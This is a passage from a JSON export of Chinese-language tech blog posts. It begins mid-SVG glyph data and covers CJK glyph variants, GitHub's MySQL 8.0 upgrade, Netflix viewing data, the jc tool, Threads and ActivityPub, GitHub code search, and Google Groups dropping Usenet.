142.884765625Q123.552734375 142.119140625 125.0361328125 139.9658203125Q126.51953125 137.8125 128.7685546875 133.2666015625Q131.017578125 128.720703125 133.02734375 123.265625Q135.037109375 117.810546875 136.85546875 109.388671875Q138.673828125 100.966796875 139.822265625 94.9375L142.7890625 77.232421875Q143.650390625 72.064453125 143.9375 70.24609375L145.373046875 56.560546875Q145.8515625 52.63671875 145.8994140625 50.72265625Q145.947265625 48.80859375 145.0859375 47.27734375Q144.12890625 45.74609375 141.83203125 44.7890625Q139.53515625 43.83203125 132.1181640625 44.2626953125Q124.701171875 44.693359375 124.318359375 44.693359375L118.576171875 45.36328125Q111.111328125 46.3203125 105.560546875 47.181640625L97.6171875 48.6171875L92.06640625 49.57421875L84.888671875 51.10546875\" fill=\"#000000\" fill-opacity=\"1\" stroke=\"#000000\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path><path d=\"M75.22265625 97.234375Q75.60546875 95.990234375 75.892578125 95.3203125L78.380859375 88.716796875Q79.529296875 85.462890625 81.2041015625 79.1943359375Q82.87890625 72.92578125 83.7880859375 68.33203125Q84.697265625 63.73828125 84.888671875 60.388671875Q85.080078125 57.0390625 84.984375 53.59375L84.888671875 51.10546875L92.06640625 49.57421875Q94.171875 50.33984375 96.8037109375 51.392578125Q99.435546875 52.4453125 101.828125 54.7421875Q104.220703125 57.0390625 104.220703125 58.953125Q104.125 59.52734375 102.3544921875 62.3505859375Q100.583984375 65.173828125 99.9619140625 66.896484375Q99.33984375 68.619140625 96.947265625 75.796875Q94.5546875 82.974609375 91.4921875 90.7744140625Q88.4296875 98.57421875 84.9365234375 105.177734375Q81.443359375 111.78125 77.0888671875 118.671875Q72.734375 125.5625 66.7529296875 132.64453125Q60.771484375 139.7265625 52.8759765625 145.2294921875Q44.98046875 150.732421875 40.9130859375 152.5029296875Q36.845703125 154.2734375 34.453125 154.943359375L32.060546875 155.708984375Q30.625 156.1875 30.2900390625 155.3740234375Q29.955078125 154.560546875 31.294921875 153.5078125L33.6875 151.59375Q35.888671875 149.775390625 39.23828125 146.8564453125Q42.587890625 143.9375 47.2294921875 139.34375Q51.87109375 134.75 55.9384765625 129.9169921875Q60.005859375 125.083984375 64.0732421875 118.384765625Q68.140625 111.685546875 69.576171875 108.91015625L72.92578125 102.306640625L75.22265625 97.234375\" fill=\"#000000\" fill-opacity=\"1\" stroke=\"#000000\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path><path d=\"M68.810546875 103.359375Q67.18359375 103.263671875 64.50390625 99.9140625L59.71875 93.501953125L52.25390625 84.697265625L48.80859375 81.5390625Q47.66015625 80.294921875 47.947265625 79.6728515625Q48.234375 79.05078125 49.669921875 78.859375Q50.626953125 78.763671875 51.966796875 79.146484375Q53.306640625 79.529296875 55.9384765625 80.486328125Q58.5703125 81.443359375 62.2548828125 83.2138671875Q65.939453125 84.984375 68.90625 87.185546875Q71.873046875 89.38671875 73.212890625 91.3486328125Q74.552734375 93.310546875 74.6484375 94.076171875C76.53059895833333 99.37174479166669 74.87174479166667 102.17903645833334 68.810546875 103.359375\" fill=\"#000000\" fill-opacity=\"1\" stroke=\"#000000\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path></g><g id=\"outlineFill_gp_1702364048440182660\"></g></svg><svg id=\"fill_1702364048440182660\" class=\"hasSVG\" mask=\"url(#1702364048440182660_mask_0)\"><defs id=\"defs_1702364048440182660\"><mask id=\"1702364048440182660_mask_0\"><path d=\"M84.888671875 51.10546875L65.84375 55.125Q63.259765625 55.69921875 60.197265625 56.6083984375Q57.134765625 57.517578125 55.794921875 57.421875Q54.263671875 57.421875 52.25390625 56.46484375L48.138671875 54.455078125Q45.5546875 53.40234375 44.21484375 52.0146484375Q42.875 50.626953125 43.06640625 49.9091796875Q43.2578125 49.19140625 49.95703125 48.6171875L56.943359375 48.04296875Q66.513671875 47.27734375 73.1171875 46.416015625L94.076171875 43.2578125Q107.5703125 41.248046875 109.580078125 40.865234375L115.9921875 39.716796875Q131.017578125 37.037109375 133.9365234375 36.3671875Q136.85546875 35.697265625 140.970703125 34.26171875Q145.0859375 32.826171875 146.904296875 32.73046875Q148.72265625 32.73046875 151.0673828125 33.6396484375Q153.412109375 34.548828125 156.76171875 36.654296875Q160.111328125 38.759765625 162.88671875 41.34375Q165.662109375 43.927734375 165.662109375 45.5546875Q165.56640625 46.798828125 163.748046875 49.19140625Q161.9296875 51.583984375 161.1162109375 53.2587890625Q160.302734375 54.93359375 159.4892578125 57.3740234375Q158.67578125 59.814453125 157.91015625 63.1640625Q157.14453125 66.513671875 156.3310546875 70.9638671875Q155.517578125 75.4140625 154.65625 81.34765625L152.263671875 98.861328125Q151.2109375 106.0390625 149.7275390625 113.408203125Q148.244140625 120.77734375 145.3251953125 131.208984375Q142.40625 141.640625 138.865234375 147.765625Q135.32421875 153.890625 130.7783203125 157.7666015625Q126.232421875 161.642578125 123.7919921875 162.6474609375Q121.3515625 163.65234375 119.916015625 163.4609375Q118.193359375 163.365234375 117.0927734375 162.3603515625Q115.9921875 161.35546875 114.5087890625 158.0537109375Q113.025390625 154.751953125 108.4794921875 148.7705078125Q103.93359375 142.7890625 102.59375 141.44921875L100.775390625 139.822265625Q99.818359375 139.056640625 100.4404296875 138.3388671875Q101.0625 137.62109375 102.115234375 138.00390625L104.794921875 139.056640625L110.6328125 141.640625Q114.65234375 143.36328125 118.2890625 143.458984375Q120.77734375 143.650390625 122.1650390625 142.884765625Q123.552734375 142.119140625 125.0361328125 139.9658203125Q126.51953125 137.8125 128.7685546875 133.2666015625Q131.017578125 128.720703125 133.02734375 123.265625Q135.037109375 117.810546875 136.85546875 109.388671875Q138.673828125 100.966796875 139.822265625 94.9375L142.7890625 77.232421875Q143.650390625 72.064453125 143.9375 70.24609375L145.373046875 56.560546875Q145.8515625 52.63671875 145.8994140625 50.72265625Q145.947265625 48.80859375 145.0859375 47.27734375Q144.12890625 45.74609375 141.83203125 44.7890625Q139.53515625 43.83203125 132.1181640625 44.2626953125Q124.701171875 44.693359375 124.318359375 44.693359375L118.576171875 45.36328125Q111.111328125 46.3203125 105.560546875 47.181640625L97.6171875 48.6171875L92.06640625 49.57421875L84.888671875 51.10546875\" fill=\"#ffffff\" fill-opacity=\"1\" stroke=\"#ffffff\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path></mask><mask id=\"1702364048440182660_mask_0_\"><path d=\"M84.888671875 51.10546875L65.84375 55.125Q63.259765625 55.69921875 60.197265625 56.6083984375Q57.134765625 57.517578125 55.794921875 57.421875Q54.263671875 57.421875 52.25390625 56.46484375L48.138671875 54.455078125Q45.5546875 53.40234375 44.21484375 52.0146484375Q42.875 50.626953125 43.06640625 49.9091796875Q43.2578125 49.19140625 49.95703125 48.6171875L56.943359375 48.04296875Q66.513671875 47.27734375 73.1171875 46.416015625L94.076171875 43.2578125Q107.5703125 41.248046875 109.580078125 40.865234375L115.9921875 39.716796875Q131.017578125 37.037109375 133.9365234375 36.3671875Q136.85546875 35.697265625 140.970703125 34.26171875Q145.0859375 32.826171875 146.904296875 32.73046875Q148.72265625 32.73046875 151.0673828125 33.6396484375Q153.412109375 34.548828125 156.76171875 36.654296875Q160.111328125 38.759765625 162.88671875 41.34375Q165.662109375 43.927734375 165.662109375 45.5546875Q165.56640625 46.798828125 163.748046875 49.19140625Q161.9296875 51.583984375 161.1162109375 53.2587890625Q160.302734375 54.93359375 159.4892578125 57.3740234375Q158.67578125 59.814453125 157.91015625 63.1640625Q157.14453125 66.513671875 156.3310546875 70.9638671875Q155.517578125 75.4140625 154.65625 81.34765625L152.263671875 98.861328125Q151.2109375 106.0390625 149.7275390625 113.408203125Q148.244140625 120.77734375 145.3251953125 131.208984375Q142.40625 141.640625 138.865234375 147.765625Q135.32421875 153.890625 130.7783203125 157.7666015625Q126.232421875 161.642578125 123.7919921875 162.6474609375Q121.3515625 163.65234375 119.916015625 163.4609375Q118.193359375 163.365234375 117.0927734375 162.3603515625Q115.9921875 161.35546875 114.5087890625 158.0537109375Q113.025390625 154.751953125 108.4794921875 148.7705078125Q103.93359375 142.7890625 102.59375 141.44921875L100.775390625 139.822265625Q99.818359375 139.056640625 100.4404296875 138.3388671875Q101.0625 137.62109375 102.115234375 138.00390625L104.794921875 139.056640625L110.6328125 141.640625Q114.65234375 143.36328125 118.2890625 143.458984375Q120.77734375 143.650390625 122.1650390625 142.884765625Q123.552734375 142.119140625 125.0361328125 139.9658203125Q126.51953125 137.8125 128.7685546875 133.2666015625Q131.017578125 128.720703125 133.02734375 123.265625Q135.037109375 117.810546875 136.85546875 109.388671875Q138.673828125 100.966796875 139.822265625 94.9375L142.7890625 77.232421875Q143.650390625 72.064453125 143.9375 70.24609375L145.373046875 56.560546875Q145.8515625 52.63671875 145.8994140625 50.72265625Q145.947265625 48.80859375 145.0859375 47.27734375Q144.12890625 45.74609375 141.83203125 44.7890625Q139.53515625 43.83203125 132.1181640625 44.2626953125Q124.701171875 44.693359375 124.318359375 44.693359375L118.576171875 45.36328125Q111.111328125 46.3203125 105.560546875 47.181640625L97.6171875 48.6171875L92.06640625 49.57421875L84.888671875 51.10546875\" fill=\"#ffffff\" fill-opacity=\"1\" stroke=\"#ffffff\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path></mask><mask id=\"1702364048440182660_mask_1\"><path d=\"M75.22265625 97.234375Q75.60546875 95.990234375 75.892578125 95.3203125L78.380859375 88.716796875Q79.529296875 85.462890625 81.2041015625 79.1943359375Q82.87890625 72.92578125 83.7880859375 68.33203125Q84.697265625 63.73828125 84.888671875 60.388671875Q85.080078125 57.0390625 84.984375 53.59375L84.888671875 51.10546875L92.06640625 49.57421875Q94.171875 50.33984375 96.8037109375 51.392578125Q99.435546875 52.4453125 101.828125 54.7421875Q104.220703125 57.0390625 104.220703125 58.953125Q104.125 59.52734375 102.3544921875 62.3505859375Q100.583984375 65.173828125 99.9619140625 66.896484375Q99.33984375 68.619140625 96.947265625 75.796875Q94.5546875 82.974609375 91.4921875 90.7744140625Q88.4296875 98.57421875 84.9365234375 105.177734375Q81.443359375 111.78125 77.0888671875 118.671875Q72.734375 125.5625 66.7529296875 132.64453125Q60.771484375 139.7265625 52.8759765625 145.2294921875Q44.98046875 150.732421875 40.9130859375 152.5029296875Q36.845703125 154.2734375 34.453125 154.943359375L32.060546875 155.708984375Q30.625 156.1875 30.2900390625 155.3740234375Q29.955078125 154.560546875 31.294921875 153.5078125L33.6875 151.59375Q35.888671875 149.775390625 39.23828125 146.8564453125Q42.587890625 143.9375 47.2294921875 139.34375Q51.87109375 134.75 55.9384765625 129.9169921875Q60.005859375 125.083984375 64.0732421875 118.384765625Q68.140625 111.685546875 69.576171875 108.91015625L72.92578125 102.306640625L75.22265625 97.234375\" fill=\"#ffffff\" fill-opacity=\"1\" stroke=\"#ffffff\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path></mask><mask id=\"1702364048440182660_mask_1_\"><path d=\"M75.22265625 97.234375Q75.60546875 95.990234375 75.892578125 95.3203125L78.380859375 88.716796875Q79.529296875 85.462890625 81.2041015625 79.1943359375Q82.87890625 72.92578125 83.7880859375 68.33203125Q84.697265625 63.73828125 84.888671875 60.388671875Q85.080078125 57.0390625 84.984375 53.59375L84.888671875 51.10546875L92.06640625 49.57421875Q94.171875 50.33984375 96.8037109375 51.392578125Q99.435546875 52.4453125 101.828125 54.7421875Q104.220703125 57.0390625 104.220703125 58.953125Q104.125 59.52734375 102.3544921875 62.3505859375Q100.583984375 65.173828125 99.9619140625 66.896484375Q99.33984375 68.619140625 96.947265625 75.796875Q94.5546875 82.974609375 91.4921875 90.7744140625Q88.4296875 98.57421875 84.9365234375 105.177734375Q81.443359375 111.78125 77.0888671875 118.671875Q72.734375 125.5625 66.7529296875 132.64453125Q60.771484375 139.7265625 52.8759765625 145.2294921875Q44.98046875 150.732421875 40.9130859375 152.5029296875Q36.845703125 154.2734375 34.453125 154.943359375L32.060546875 155.708984375Q30.625 156.1875 30.2900390625 155.3740234375Q29.955078125 154.560546875 31.294921875 153.5078125L33.6875 151.59375Q35.888671875 149.775390625 39.23828125 146.8564453125Q42.587890625 143.9375 47.2294921875 139.34375Q51.87109375 134.75 55.9384765625 129.9169921875Q60.005859375 125.083984375 64.0732421875 118.384765625Q68.140625 111.685546875 69.576171875 108.91015625L72.92578125 102.306640625L75.22265625 97.234375\" fill=\"#ffffff\" fill-opacity=\"1\" stroke=\"#ffffff\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path></mask><mask id=\"1702364048440182660_mask_2\"><path d=\"M68.810546875 103.359375Q67.18359375 103.263671875 64.50390625 99.9140625L59.71875 93.501953125L52.25390625 84.697265625L48.80859375 81.5390625Q47.66015625 80.294921875 47.947265625 79.6728515625Q48.234375 79.05078125 49.669921875 78.859375Q50.626953125 78.763671875 51.966796875 79.146484375Q53.306640625 79.529296875 55.9384765625 80.486328125Q58.5703125 81.443359375 62.2548828125 83.2138671875Q65.939453125 84.984375 68.90625 87.185546875Q71.873046875 89.38671875 73.212890625 91.3486328125Q74.552734375 93.310546875 74.6484375 94.076171875C76.53059895833333 99.37174479166669 74.87174479166667 102.17903645833334 68.810546875 103.359375\" fill=\"#ffffff\" fill-opacity=\"1\" stroke=\"#ffffff\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path></mask><mask id=\"1702364048440182660_mask_2_\"><path d=\"M68.810546875 103.359375Q67.18359375 103.263671875 64.50390625 99.9140625L59.71875 93.501953125L52.25390625 84.697265625L48.80859375 81.5390625Q47.66015625 80.294921875 47.947265625 79.6728515625Q48.234375 79.05078125 49.669921875 78.859375Q50.626953125 78.763671875 51.966796875 79.146484375Q53.306640625 79.529296875 55.9384765625 80.486328125Q58.5703125 81.443359375 62.2548828125 83.2138671875Q65.939453125 84.984375 68.90625 87.185546875Q71.873046875 89.38671875 73.212890625 91.3486328125Q74.552734375 93.310546875 74.6484375 94.076171875C76.53059895833333 99.37174479166669 74.87174479166667 102.17903645833334 68.810546875 103.359375\" fill=\"#ffffff\" fill-opacity=\"1\" stroke=\"#ffffff\" stroke-width=\"1\" stroke-linejoin=\"round\" stroke-opacity=\"1\"></path></mask></defs><g id=\"strokeArea_gp_1702364048440182660\"></g></svg></svg>\r\n\r\n我在 <a href=\"https://home.gslin.org/tmp/different-lang.html\">different-lang.html</a> 這邊把他提到的「刃直海角骨入」給放了進去，指定不同的 <code>lang</code>，像是這樣：\r\n\r\n<pre>&lt;dt&gt;lang=\"jp\"&lt;/dt&gt;&lt;dd lang=\"jp\"&gt;刃直海角骨入&lt;/dd&gt;</pre>\r\n\r\n如果你的電腦裡面有 Noto Sans CJK 的話，應該可以看出不同的字形。\r\n\r\n在 HTML 網頁上可以利用 html 內的 lang 資訊告訴瀏覽器去抓取對應的字形，當然，系統有沒有這個字形又是另外一回事了，不過市場上至少有 open source license 的 <a href=\"https://github.com/notofonts/noto-cjk\">Noto CJK</a> 系列，算是個低標的答案可以用。\r\n\r\n至於要更多樣的話，應該是要分不同語言下去找...",
    "title": "漢字字形的處理"
  },
  {
    "id": "11524",
    "body": "<a href=\"https://github.blog/\">GitHub Blog</a> 上面寫了一篇關於 <a href=\"https://github.com/\">GitHub</a> 怎麼把 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 升級到 8.0 的過程，有點長度但是裡面有蠻多數字與架構可以看：「<a href=\"https://github.blog/2023-12-07-upgrading-github-com-to-mysql-8-0/\">Upgrading GitHub.com to MySQL 8.0</a>」。\r\n\r\n開頭先順便提一下，看這篇後可以交叉看 GitHub 的 <a href=\"https://www.githubstatus.com/history\">Incident History</a>，有幾次跟 database 有關的事件，雖然不能直接確認與這波升級有關，但心裡可以有個底...\r\n\r\n數字與時間的部分主要是這些：\r\n\r\n<blockquote>Our fleet consists of 1200+ hosts. It’s a combination of Azure Virtual Machines and bare metal hosts in our data center.</blockquote>\r\n\r\n<blockquote>We store 300+ TB of data and serve 5.5 million queries per second across 50+ database clusters.</blockquote>\r\n\r\n<blockquote>Preparation for the upgrade started in July 2022 and we had several milestones to reach even before upgrading a single production database.</blockquote>\r\n\r\n另外雖然沒有明講，但從文章中其他段落的描述，以及相關的圖片，可以看出來 GitHub 是使用 single-primary (single-master) 的架構，這邊沒有用到 multi-primary (multi-master) 類的架構：\r\n\r\n<blockquote>We opted not to do direct upgrades on the primary database host. Instead, we would promote a MySQL 8.0 replica to primary through a graceful failover performed with Orchestrator.</blockquote>\r\n\r\n後續升級的部分有點長，第一波關於 read-only replica 的部分雖然有些地方沒講清楚，但基本上大家的作法都大同小異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1702449542-ea20ef98.webp\" /><img src=\"https://i.gslin.com/s/1702449542-ea20ef98.png\" alt=\"\" /></picture>\r\n\r\n比較明顯有疑問的是，第一步為什麼不是直接生一台新的 8.0 觀察 (這樣觀察到的環境才會與後續過程接近)，而是 in-place upgrade，而後續開的機器又是 provision。不過這個算是小問題...\r\n\r\n比較值得研究的是在第二步與第三步的說明裡面提到的 primary (master) 這塊。\r\n\r\n第二步是先改變 topology，這個架構算是蠻特別的的過渡架構，只會維持幾個小時；會把其中一台 8.0 replica 拉起來放在中間，然後再串一台 5.7 replica，接下去再串 5.7/8.0 的 read-only replicas：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1702450501-9d796145.webp\" /><img src=\"https://i.gslin.com/s/1702450501-9d796145.png\" alt=\"\" /></picture>\r\n\r\n第三步把 primary (master) 指到 8.0 上：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1702451068-cc002433.webp\" /><img src=\"https://i.gslin.com/s/1702451068-cc002433.png\" alt=\"\" /></picture>\r\n\r\n這個特別的架構可以推敲出來是想要能夠快速在有狀況時完全 rollback 回 5.7，不過可以馬上想到 8.0 的資料丟到 5.7 上的問題。\r\n\r\nMySQL 的慣例是下一個版本的 replication 通常都會通 (像是 5.0 -&gt; 5.1，或是 5.1 -&gt; 5.5，而這邊的例子是 5.7 -&gt; 8.0)，這在官方的文件「<a href=\"https://dev.mysql.com/doc/mysql-replication-excerpt/8.0/en/replication-compatibility.html\">Replication Compatibility Between MySQL Versions</a>」有提過。\r\n\r\n但反過來就不一定了，這也是看到圖時馬上會想到的問題，在文章裡面也有提到：\r\n\r\n<blockquote>MySQL supports replication from one release to the next higher release but does not explicitly support the reverse (MySQL Replication compatibility).</blockquote>\r\n\r\n所以他們只能在 staging 上演練看看，找出會炸掉的東西，然後得提前先修改完：\r\n\r\n<blockquote>When we tested promoting an 8.0 host to primary on our staging cluster, we saw replication break on all 5.7 replicas.</blockquote>\r\n\r\n另外一方面，在文章開頭的地方也有提到利用 CI 事先找出問題：\r\n\r\n<blockquote>We added MySQL 8.0 to Continuous Integration (CI) for all applications using MySQL. We ran MySQL 5.7 and 8.0 side-by-side in CI to ensure that there wouldn’t be regressions during the prolonged upgrade process. We detected a variety of bugs and incompatibilities in CI, helping us remove any unsupported configurations or features and escape any new reserved keywords.</blockquote>\r\n\r\n用這些方法儘量把問題圍堵找出來，而真的遇到在 production 上的問題時，應該是看情況來決定要不要 rollback 回 5.7 整包重來？\r\n\r\n就... 看看當作一個有趣的 case study。",
    "title": "GitHub 的 MySQL 5.7 升級到 8.0 的細節"
  },
  {
    "id": "11525",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=38617359\">What We Watched: A Netflix engagement report (netflix.com)</a>」這邊看到的，<a href=\"https://www.netflix.com/\">Netflix</a> 的文章在「<a href=\"https://about.netflix.com/en/news/what-we-watched-a-netflix-engagement-report\">What We Watched: A Netflix Engagement Report</a>」這邊，標題提到的 Excel 報告在 <a href=\"https://assets.ctfassets.net/4cd45et68cgf/1HyknFM84ISQpeua6TjM7A/97a0a393098937a8f29c9d29c48dbfa8/What_We_Watched_A_Netflix_Engagement_Report_2023Jan-Jun.xlsx\">What_We_Watched_A_Netflix_Engagement_Report_2023Jan-Jun.xlsx</a> 這邊。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的留言 <a href=\"https://news.ycombinator.com/item?id=38621625\">id=38621625</a> 有提到這是 <a href=\"https://en.wikipedia.org/wiki/Writers_Guild_of_America\">Writers Guild of America</a> 的聯合罷工 (參考英文維基百科的「<a href=\"https://en.wikipedia.org/wiki/2023_Writers_Guild_of_America_strike\">2023 Writers Guild of America strike</a>」或是中文維基百科「<a href=\"https://zh.wikipedia.org/wiki/2023%E5%B9%B4%E7%BE%8E%E5%9B%BD%E7%BC%96%E5%89%A7%E5%8D%8F%E4%BC%9A%E5%A4%A7%E7%BD%A2%E5%B7%A5\">2023年美國編劇協會大罷工</a>」) 所協商出來的成果：\r\n\r\n<blockquote>This is an outcome of the WGA strike negotiations. Now writers (and actors, and anyone else) can use this information to better negotiate their worth with studios, rather than it being 1-sided. All other streaming services should be following suit soon.</blockquote>\r\n\r\n在「<a href=\"https://www.wgacontract2023.org/the-campaign/what-we-won\">What We Won</a>」這邊可以看到關於 transparency 的部分：\r\n\r\n<blockquote>Streaming data transparency: Companies agree to provide the Guild, subject to a confidentiality agreement, the total number of hours streamed, both domestically and internationally, of self-produced high budget streaming programs (e.g., a Netflix original series). Aggregated information can be shared.</blockquote>\r\n\r\n打開 Excel 檔可以看到 Netflix 就放出最低限度的資料，但就如同 comment 提到的，這份資料以及足以讓很多人有機會反過來談更好的合約。\r\n\r\n另外一方面，也可以預期這份公開資料交叉其他的 metadata 可以分析出一些有趣的東西？",
    "title": "Netflix 放出了 2023 上半年一萬八千部的播放統計資料"
  },
  {
    "id": "11526",
    "body": "看到「<a href=\"https://github.com/kellyjonbrazil/jc\">kellyjonbrazil/jc</a>」這個專案，展試一下就可以理解用途了：(最後接 <a href=\"https://github.com/jqlang/jq\">jq</a> 只是為了 pretty print)\r\n\r\n<pre>$ dig www.google.com | jc --dig | jq\r\n[\r\n  {\r\n    \"id\": 57567,\r\n    \"opcode\": \"QUERY\",\r\n    \"status\": \"NOERROR\",\r\n    \"flags\": [\r\n      \"qr\",\r\n      \"rd\",\r\n      \"ra\"\r\n    ],\r\n    \"query_num\": 1,\r\n    \"answer_num\": 1,\r\n    \"authority_num\": 0,\r\n    \"additional_num\": 1,\r\n    \"opt_pseudosection\": {\r\n      \"edns\": {\r\n        \"version\": 0,\r\n        \"flags\": [],\r\n        \"udp\": 1232\r\n      },\r\n      \"cookie\": \"37fe52c319e24fbbeadce09b6579665ea173fcd360d0a298\"\r\n    },\r\n    \"question\": {\r\n      \"name\": \"www.google.com.\",\r\n      \"class\": \"IN\",\r\n      \"type\": \"A\"\r\n    },\r\n    \"answer\": [\r\n      {\r\n        \"name\": \"www.google.com.\",\r\n        \"class\": \"IN\",\r\n        \"type\": \"A\",\r\n        \"ttl\": 249,\r\n        \"data\": \"142.251.42.228\"\r\n      }\r\n    ],\r\n    \"query_time\": 0,\r\n    \"server\": \"168.95.192.1#53(168.95.192.1) (UDP)\",\r\n    \"when\": \"Wed Dec 13 16:07:58 CST 2023\",\r\n    \"rcvd\": 87,\r\n    \"when_epoch\": 1702454878,\r\n    \"when_epoch_utc\": null\r\n  }\r\n]</pre>\r\n\r\n覺得可以開始用的原因是發現從 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 開始，在官方的 APT repository 有把 jc 包進去了，裝起來會簡單不少。\r\n\r\n雖然 22.04 裡面包的版本是 <a href=\"https://github.com/kellyjonbrazil/jc/tree/v1.17.3\">1.17.3</a> (現在是 1.23.6)，但這個版本已經支援不少格式了。\r\n\r\n之後在 shell script 裡面自己 <a href=\"https://en.wikipedia.org/wiki/Grep\">grep</a> + <a href=\"https://en.wikipedia.org/wiki/Sed\">sed</a> 組到起笑的時候，可以考慮加掛 jc + jq 的組合技來解決，不過缺點就是要額外裝...",
    "title": "用 jc 將常見的 CLI 指令輸出轉成 JSON 或是 YAML"
  },
  {
    "id": "11527",
    "body": "看到 <a href=\"https://en.wikipedia.org/wiki/Mark_Zuckerberg\">Mark Zuckerberg</a> 在 <a href=\"https://www.threads.net/\">Threads</a> 上宣佈開始測試 <a href=\"https://en.wikipedia.org/wiki/ActivityPub\">ActivityPub</a>：(在 <a href=\"https://www.threads.net/@zuck/post/C0zXcQmxO77/\">https://www.threads.net/@zuck/post/C0zXcQmxO77/</a> 這邊)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1702538971-98e0bf99.webp\" /><img src=\"https://i.gslin.com/s/1702538971-98e0bf99.png\" alt=\"\" /></picture>\r\n\r\n目前拿 <a href=\"https://www.threads.net/@zuck\">@zuck</a> 的帳號丟進 <a href=\"https://en.wikipedia.org/wiki/Mastodon_(social_network)\">Mastodon</a> 上找，還沒看到東西，大概要再等等？",
    "title": "Threads 要放 ActivityPub 了？"
  },
  {
    "id": "11529",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38637652\">Lessons from building GitHub code search [video] (youtube.com)</a>」這篇在講 <a href=\"https://github.com/\">GitHub</a> 的 Code Search (今年九月在 <a href=\"https://thestrangeloop.com/\">Strange Loop</a> 上的演講)，同時演講者 <a href=\"http://recursion.org/\">Luke Francl</a> (帳號是 <a href=\"https://news.ycombinator.com/user?id=100k\">100k</a>) 也有在 Hacker News 上留言回答一些問題：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/CqZA_KmygKw\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n\r\n影片裡面有不少資訊，挑我自己覺得有趣的地方整理一下。(不是依照影片的順序)\r\n\r\n首先是現成的 search engine (<a href=\"https://en.wikipedia.org/wiki/Elasticsearch\">Elasticsearch</a>) 會濾掉太多資訊，其中一種例子就是在程式語言中，各種 token 像是 <code>&lt;</code>、<code>=</code> 以及 <code>&gt;</code></code> 這些，都算是有用的資訊。\r\n\r\n另外一方面是 Elasticsearch 的架構下沒有辦法利用 fork 的性質 (以及 <a href=\"https://git-scm.com/\">Git</a> 的 branch 性質)，所以在處理 fork 類的 repository 會造成大量重複的資料，但 fork 的資料會有 99% 以上是與原來的 repository 相同。\r\n\r\n舊的系統有 312 servers，包括了 24960 cores 與 20TB RAM，直接平均下來，每一台機器是 80 cores 與 65GB RAM，而跑一次 reindex 會需要幾個月的時間。\r\n\r\n新的系統則降到了 130 servers，包括了 8320 cores，但記憶體加到了 65TB RAM，直接平均下來，每一台機器是 64 cores 與 512GB RAM，後面有列出來是 <a href=\"https://azure.microsoft.com/\">Azure</a> 的 L64s v3，剛好就是 64 cores 與 512GB RAM，然後帶有 640GB temp disk 與 8*1.92TB 的 NVMe disk。\r\n\r\n另外有提到這套新的系統雖然比較小 (除了記憶體)，但卻是 3 clusters，這也剛好解釋記憶體變成原來三倍的原因。\r\n\r\n而更重要的是，因為有多個系統，所以他們可以在上面對 production 等級資料量進行測試，而且不用害怕炸掉東西。\r\n\r\n而且新的系統從零 rebuild 一次只需要幾天，不像之前需要好幾個月。這些改變使得 engineer 更容易進行個重嘗試與改善，而不用把精神花在要怎麼維持相容性。\r\n\r\n回到 CPU 數量的下降，這邊沒有直接提到原因，但演講裡有提到有不少東西改用 <a href=\"https://www.rust-lang.org/\">Rust</a> 寫，等於是從 <a href=\"https://en.wikipedia.org/wiki/Java_virtual_machine\">JVM</a> 換到原生程式碼，對於會有大量時間花在 CPU 運算的服務來說是個明顯的加分。\r\n\r\n中間有兩個提到演算法的事情也蠻有趣的。\r\n\r\n第一個是在 Delta compression 的地方，把 fork 後的差異當作是 delta，要最小化整個 fork tree 的成本，剛好把這個東西轉換成圖論的問題，就可以套用 <a href=\"https://en.wikipedia.org/wiki/Minimum_spanning_tree\">Minimum spanning tree</a> 這個經典的演算法，而且 MST 太經典，有很多變形也都有人研究過，有限成的演算法可以用。\r\n\r\n另外一個提到的是 <a href=\"https://www.linkedin.com/in/alexander-neubeck-7b6300123/\">Alexander Neubeck</a>，從 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 上的資料可以看到他在 <a href=\"https://www.google.com/\">Google</a> 的時候就是負責 Code Search，後來到 GitHub 看起來剛好加入對應的團隊，他開發了一個新的資料結構 Geometrics XOR filter 來解決 Delta compression 遇到的問題。\r\n\r\n在 Hacekr News 上的討論可以看到有人抱怨還是缺了重要的功能，不過這畢竟是砍掉重練開始搞，而且是配合 Git 與 GitHub 的特性設計的，可以預期會缺東西，但就像演講裡提到的，新的架構可以讓整個團隊更快的迭代進行各種嘗試，後續就比較會是官方要取捨實作哪些功能了...",
    "title": "GitHub 新版 Code Search 後面砍掉重練的過程"
  },
  {
    "id": "11530",
    "body": "在 news.admin.peering 上看到的消息：「<a href=\"http://al.howardknight.net/?STYPE=msgid&amp;MSGI=%3Culg14i%243o4hi%241%40paganini.bofh.team%3E\">Effective February 15, 2024, Google Groups will no longer support new Usenet content</a>」，在 <a href=\"https://groups.google.com/\">Google Groups</a> 上面也可以看到：\r\n\r\n<blockquote>Effective February 15, 2024, Google Groups will no longer support new Usenet content. Posting and subscribing will be disallowed, and new content from Usenet peers will not appear. Viewing and searching of historical data will still be supported as it is done today.</blockquote>\r\n\r\n而在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論「<a href=\"https://news.ycombinator.com/item?id=38649554\">Google Groups ending support for Usenet (support.google.com)</a>」。\r\n\r\n話說先前寫的「<a 